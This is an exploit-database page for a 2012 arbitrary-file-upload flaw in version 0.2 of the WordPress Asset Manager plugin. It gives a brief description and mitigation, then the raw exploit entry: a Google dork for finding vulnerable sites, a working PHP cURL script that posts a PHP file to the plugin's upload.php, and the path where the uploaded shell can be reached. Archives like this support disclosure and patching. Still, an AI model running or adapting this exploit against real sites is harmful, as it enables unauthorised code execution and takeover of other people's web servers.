header-logo
Suggest Exploit
vendor:
Asset Manager
by:
Sammy FORGIT
7,5
CVSS
HIGH
Shell Upload
434
CWE
Product Name: Asset Manager
Affected Version From: 0.2
Affected Version To: 0.2
Patch Exists: YES
Related CWE: N/A
CPE: a:wordpress:asset_manager
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2012

WordPress Plugins – Asset Manager Shell Upload Vulnerability

A vulnerability in the Asset Manager plugin for Wordpress allows an attacker to upload a malicious PHP file to the server. This can be done by sending a POST request to the upload.php file with the malicious file as a parameter. The malicious file can then be accessed at the URL http://www.exemple.com/wordpress/wp-content/uploads/assets/temp/lo.php

Mitigation:

The Asset Manager plugin should be updated to the latest version to fix this vulnerability.
Source

Exploit-DB raw data:

##################################################
# Description : Wordpress Plugins - Asset Manager Shell Upload Vulnerability
# Version : 0.2
# Link : http://wordpress.org/extend/plugins/asset-manager/
# Plugins : http://downloads.wordpress.org/plugin/asset-manager.0.2.zip
# Date : 26-05-2012
# Google Dork : inurl:/wp-content/plugins/asset-manager/
# Author : Sammy FORGIT - sam at opensyscom dot fr - 
http://www.opensyscom.fr
##################################################


Exploit :

PostShell.php
<?php

$uploadfile="lo.php";
$ch = 
curl_init("http://www.exemple.com/wordpress/wp-content/plugins/asset-manager/upload.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
         array('Filedata'=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";

?>

Shell Access :
http://www.exemple.com/wordpress/wp-content/uploads/assets/temp/lo.php

lo.php
<?php
phpinfo();
?>